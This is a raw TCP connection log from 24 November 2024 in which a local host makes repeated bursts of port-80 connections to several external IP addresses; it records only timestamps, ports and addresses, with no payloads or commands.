Nov 24, 2024 08:10:56.629120111 CET	80	49880	13.248.169.48	192.168.2.4
Nov 24, 2024 08:10:57.596596956 CET	80	49880	13.248.169.48	192.168.2.4
Nov 24, 2024 08:10:57.596692085 CET	49880	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:10:58.024215937 CET	49880	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:10:58.143821001 CET	80	49880	13.248.169.48	192.168.2.4
Nov 24, 2024 08:10:59.044358015 CET	49886	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:10:59.164098024 CET	80	49886	13.248.169.48	192.168.2.4
Nov 24, 2024 08:10:59.164230108 CET	49886	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:10:59.182293892 CET	49886	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:10:59.301918983 CET	80	49886	13.248.169.48	192.168.2.4
Nov 24, 2024 08:10:59.301932096 CET	80	49886	13.248.169.48	192.168.2.4
Nov 24, 2024 08:10:59.301984072 CET	80	49886	13.248.169.48	192.168.2.4
Nov 24, 2024 08:10:59.301994085 CET	80	49886	13.248.169.48	192.168.2.4
Nov 24, 2024 08:10:59.302028894 CET	80	49886	13.248.169.48	192.168.2.4
Nov 24, 2024 08:10:59.302126884 CET	80	49886	13.248.169.48	192.168.2.4
Nov 24, 2024 08:10:59.302135944 CET	80	49886	13.248.169.48	192.168.2.4
Nov 24, 2024 08:10:59.302252054 CET	80	49886	13.248.169.48	192.168.2.4
Nov 24, 2024 08:10:59.302261114 CET	80	49886	13.248.169.48	192.168.2.4
Nov 24, 2024 08:11:00.309288979 CET	80	49886	13.248.169.48	192.168.2.4
Nov 24, 2024 08:11:00.312704086 CET	49886	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:11:00.696569920 CET	49886	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:11:00.816118956 CET	80	49886	13.248.169.48	192.168.2.4
Nov 24, 2024 08:11:01.717394114 CET	49893	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:11:01.837017059 CET	80	49893	13.248.169.48	192.168.2.4
Nov 24, 2024 08:11:01.837116003 CET	49893	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:11:01.849385023 CET	49893	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:11:01.969295979 CET	80	49893	13.248.169.48	192.168.2.4
Nov 24, 2024 08:11:03.029344082 CET	80	49893	13.248.169.48	192.168.2.4
Nov 24, 2024 08:11:03.029376984 CET	80	49893	13.248.169.48	192.168.2.4
Nov 24, 2024 08:11:03.029500961 CET	49893	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:11:03.055620909 CET	49893	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:11:03.175182104 CET	80	49893	13.248.169.48	192.168.2.4
Nov 24, 2024 08:11:09.217335939 CET	49909	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:09.337025881 CET	80	49909	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:09.337131977 CET	49909	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:09.352554083 CET	49909	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:09.517707109 CET	80	49909	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:10.868021011 CET	49909	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:10.900155067 CET	80	49909	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:10.900218010 CET	49909	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:10.900274038 CET	80	49909	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:10.900317907 CET	49909	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:10.987654924 CET	80	49909	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:10.987704992 CET	49909	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:11.889409065 CET	49917	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:12.008857965 CET	80	49917	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:12.011356115 CET	49917	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:12.029685020 CET	49917	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:12.149245024 CET	80	49917	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:13.540115118 CET	49917	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:13.628062010 CET	80	49917	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:13.628124952 CET	49917	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:13.628161907 CET	80	49917	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:13.628215075 CET	49917	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:13.659744978 CET	80	49917	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:13.659878016 CET	49917	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:14.559976101 CET	49924	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:14.679558992 CET	80	49924	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:14.679959059 CET	49924	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:14.697859049 CET	49924	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:14.817584991 CET	80	49924	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:14.817620039 CET	80	49924	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:14.817668915 CET	80	49924	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:14.817733049 CET	80	49924	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:14.817770004 CET	80	49924	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:14.817780018 CET	80	49924	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:14.817826033 CET	80	49924	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:14.817869902 CET	80	49924	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:14.817889929 CET	80	49924	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:16.211740017 CET	49924	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:16.331855059 CET	80	49924	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:16.331964016 CET	49924	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:17.230931997 CET	49931	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:17.350704908 CET	80	49931	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:17.350797892 CET	49931	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:17.361005068 CET	49931	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:17.480564117 CET	80	49931	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:18.959041119 CET	80	49931	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:18.959184885 CET	80	49931	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:18.959244013 CET	49931	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:18.962555885 CET	49931	80	192.168.2.4	103.21.221.87
Nov 24, 2024 08:11:19.082014084 CET	80	49931	103.21.221.87	192.168.2.4
Nov 24, 2024 08:11:26.285825014 CET	49952	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:26.405464888 CET	80	49952	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:26.405807972 CET	49952	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:26.421331882 CET	49952	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:26.540986061 CET	80	49952	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:27.930490017 CET	49952	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:27.981043100 CET	80	49952	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:27.981220961 CET	49952	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:27.981237888 CET	80	49952	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:27.981317043 CET	49952	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:28.050081015 CET	80	49952	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:28.050478935 CET	49952	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:28.952120066 CET	49958	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:29.072066069 CET	80	49958	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:29.072159052 CET	49958	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:29.093018055 CET	49958	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:29.212780952 CET	80	49958	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:30.602582932 CET	49958	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:30.667376995 CET	80	49958	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:30.667399883 CET	80	49958	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:30.669519901 CET	49958	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:30.669519901 CET	49958	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:30.722219944 CET	80	49958	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:30.725523949 CET	49958	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:31.621859074 CET	49965	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:31.741406918 CET	80	49965	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:31.745537996 CET	49965	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:31.761451006 CET	49965	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:31.881031990 CET	80	49965	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:31.881129026 CET	80	49965	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:31.881273985 CET	80	49965	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:31.881323099 CET	80	49965	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:31.881442070 CET	80	49965	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:31.881452084 CET	80	49965	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:31.881584883 CET	80	49965	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:31.881594896 CET	80	49965	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:31.881623983 CET	80	49965	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:33.274209023 CET	49965	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:33.394098043 CET	80	49965	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:33.394155979 CET	49965	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:34.293929100 CET	49972	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:34.413650990 CET	80	49972	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:34.414052963 CET	49972	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:34.426321983 CET	49972	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:34.545793056 CET	80	49972	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:36.002583027 CET	80	49972	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:36.002712011 CET	80	49972	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:36.004913092 CET	49972	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:36.008645058 CET	49972	80	192.168.2.4	8.210.46.21
Nov 24, 2024 08:11:36.128209114 CET	80	49972	8.210.46.21	192.168.2.4
Nov 24, 2024 08:11:41.457549095 CET	49991	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:41.577328920 CET	80	49991	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:41.577425003 CET	49991	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:41.601778984 CET	49991	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:41.721318007 CET	80	49991	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:42.908219099 CET	80	49991	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:42.908297062 CET	80	49991	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:42.908358097 CET	49991	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:43.118031025 CET	49991	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:44.191042900 CET	49997	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:44.310723066 CET	80	49997	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:44.310946941 CET	49997	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:44.343024969 CET	49997	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:44.462641001 CET	80	49997	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:45.590243101 CET	80	49997	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:45.590317011 CET	80	49997	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:45.590373039 CET	49997	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:45.852591038 CET	49997	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:46.871336937 CET	50004	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:46.990993977 CET	80	50004	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:46.991094112 CET	50004	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:47.008352995 CET	50004	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:47.127988100 CET	80	50004	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:47.128019094 CET	80	50004	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:47.128051996 CET	80	50004	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:47.128061056 CET	80	50004	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:47.128144979 CET	80	50004	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:47.128155947 CET	80	50004	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:47.128175020 CET	80	50004	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:47.128195047 CET	80	50004	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:47.128247976 CET	80	50004	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:48.403644085 CET	80	50004	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:48.403750896 CET	80	50004	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:48.403824091 CET	50004	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:48.524317980 CET	50004	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:49.544203997 CET	50010	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:49.663731098 CET	80	50010	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:49.663815022 CET	50010	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:49.674581051 CET	50010	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:49.794192076 CET	80	50010	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:50.893698931 CET	80	50010	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:50.893726110 CET	80	50010	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:50.893887997 CET	50010	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:50.897592068 CET	50010	80	192.168.2.4	203.161.43.228
Nov 24, 2024 08:11:51.017163992 CET	80	50010	203.161.43.228	192.168.2.4
Nov 24, 2024 08:11:56.405066013 CET	50026	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:11:56.524878025 CET	80	50026	13.248.169.48	192.168.2.4
Nov 24, 2024 08:11:56.525173903 CET	50026	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:11:56.549448967 CET	50026	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:11:56.669157028 CET	80	50026	13.248.169.48	192.168.2.4
Nov 24, 2024 08:11:57.671169043 CET	80	50026	13.248.169.48	192.168.2.4
Nov 24, 2024 08:11:57.671231031 CET	50026	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:11:58.055783033 CET	50026	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:11:58.175615072 CET	80	50026	13.248.169.48	192.168.2.4
Nov 24, 2024 08:11:59.075994015 CET	50032	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:11:59.195478916 CET	80	50032	13.248.169.48	192.168.2.4
Nov 24, 2024 08:11:59.195554972 CET	50032	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:11:59.213794947 CET	50032	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:11:59.333353996 CET	80	50032	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:00.296772957 CET	80	50032	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:00.297565937 CET	50032	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:12:00.727441072 CET	50032	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:12:00.847081900 CET	80	50032	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:01.746692896 CET	50033	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:12:01.866581917 CET	80	50033	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:01.869607925 CET	50033	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:12:01.885327101 CET	50033	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:12:02.005213022 CET	80	50033	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:02.005259037 CET	80	50033	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:02.005312920 CET	80	50033	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:02.005341053 CET	80	50033	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:02.005390882 CET	80	50033	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:02.005418062 CET	80	50033	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:02.005480051 CET	80	50033	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:02.005530119 CET	80	50033	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:02.005593061 CET	80	50033	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:03.062067986 CET	80	50033	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:03.062129974 CET	50033	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:12:03.399482012 CET	50033	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:12:03.519202948 CET	80	50033	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:04.421500921 CET	50034	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:12:04.541132927 CET	80	50034	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:04.541589975 CET	50034	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:12:04.553461075 CET	50034	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:12:04.673012972 CET	80	50034	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:05.645957947 CET	80	50034	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:05.646076918 CET	80	50034	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:05.646131992 CET	50034	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:12:05.649257898 CET	50034	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:12:05.768822908 CET	80	50034	13.248.169.48	192.168.2.4
Nov 24, 2024 08:12:11.347944021 CET	50035	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:11.467590094 CET	80	50035	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:11.467669010 CET	50035	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:11.487574100 CET	50035	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:11.607135057 CET	80	50035	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:12.740991116 CET	80	50035	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:12.741134882 CET	80	50035	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:12.741219044 CET	50035	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:12.993238926 CET	50035	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:14.017630100 CET	50036	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:14.137172937 CET	80	50036	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:14.137470007 CET	50036	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:14.193451881 CET	50036	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:14.313016891 CET	80	50036	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:15.407304049 CET	80	50036	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:15.407355070 CET	80	50036	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:15.407419920 CET	50036	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:15.696366072 CET	50036	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:16.727492094 CET	50037	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:16.847129107 CET	80	50037	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:16.847201109 CET	50037	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:16.903873920 CET	50037	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:17.023659945 CET	80	50037	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:17.023675919 CET	80	50037	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:17.023694038 CET	80	50037	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:17.023704052 CET	80	50037	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:17.023762941 CET	80	50037	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:17.023781061 CET	80	50037	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:17.023864031 CET	80	50037	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:17.023874998 CET	80	50037	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:17.023912907 CET	80	50037	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:18.190557957 CET	80	50037	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:18.190587997 CET	80	50037	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:18.190722942 CET	50037	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:18.417470932 CET	50037	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:19.436022043 CET	50038	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:19.555855989 CET	80	50038	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:19.555938005 CET	50038	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:19.576195002 CET	50038	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:19.695630074 CET	80	50038	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:20.825225115 CET	80	50038	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:20.825386047 CET	80	50038	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:20.825674057 CET	50038	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:20.829472065 CET	50038	80	192.168.2.4	147.255.21.187
Nov 24, 2024 08:12:20.948890924 CET	80	50038	147.255.21.187	192.168.2.4
Nov 24, 2024 08:12:26.202769041 CET	50039	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:26.322279930 CET	80	50039	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:26.325596094 CET	50039	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:26.345483065 CET	50039	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:26.464951992 CET	80	50039	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:27.641200066 CET	80	50039	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:27.641267061 CET	80	50039	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:27.641280890 CET	80	50039	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:27.641371965 CET	50039	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:27.641371965 CET	50039	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:27.852706909 CET	50039	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:28.871793032 CET	50040	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:28.991328955 CET	80	50040	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:28.991435051 CET	50040	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:29.008268118 CET	50040	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:29.127842903 CET	80	50040	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:30.335587978 CET	80	50040	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:30.335604906 CET	80	50040	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:30.335793972 CET	80	50040	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:30.335830927 CET	50040	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:30.335916996 CET	50040	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:30.524584055 CET	50040	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:31.624327898 CET	50041	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:31.744223118 CET	80	50041	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:31.744324923 CET	50041	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:31.857707977 CET	50041	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:31.977566004 CET	80	50041	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:31.977615118 CET	80	50041	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:31.977674961 CET	80	50041	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:31.977705956 CET	80	50041	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:31.977735996 CET	80	50041	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:31.977762938 CET	80	50041	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:31.977829933 CET	80	50041	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:31.977858067 CET	80	50041	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:31.977890968 CET	80	50041	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:33.076814890 CET	80	50041	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:33.076905012 CET	80	50041	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:33.076961994 CET	50041	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:33.077071905 CET	80	50041	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:33.077277899 CET	80	50041	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:33.077352047 CET	50041	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:33.368329048 CET	50041	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:34.414639950 CET	50042	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:34.534307003 CET	80	50042	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:34.537496090 CET	50042	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:34.569503069 CET	50042	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:34.689295053 CET	80	50042	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:35.944679022 CET	80	50042	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:35.944747925 CET	80	50042	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:35.945611954 CET	80	50042	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:35.945885897 CET	50042	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:35.949496031 CET	50042	80	192.168.2.4	104.21.42.77
Nov 24, 2024 08:12:36.069036007 CET	80	50042	104.21.42.77	192.168.2.4
Nov 24, 2024 08:12:41.725333929 CET	50043	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:41.845005989 CET	80	50043	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:41.845103979 CET	50043	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:41.862071991 CET	50043	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:41.981672049 CET	80	50043	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:43.368138075 CET	50043	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:43.488038063 CET	80	50043	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:43.488102913 CET	50043	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:44.388727903 CET	50044	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:44.508301020 CET	80	50044	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:44.508572102 CET	50044	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:44.523943901 CET	50044	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:44.643531084 CET	80	50044	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:46.040088892 CET	50044	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:46.160085917 CET	80	50044	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:46.163781881 CET	50044	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:47.060038090 CET	50045	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:47.179564953 CET	80	50045	172.67.168.228	192.168.2.4
Nov 24, 2024 08:12:47.179667950 CET	50045	80	192.168.2.4	172.67.168.228
Nov 24, 2024 08:12:47.202282906 CET	50045	80	192.168.2.4	172.67.168.228
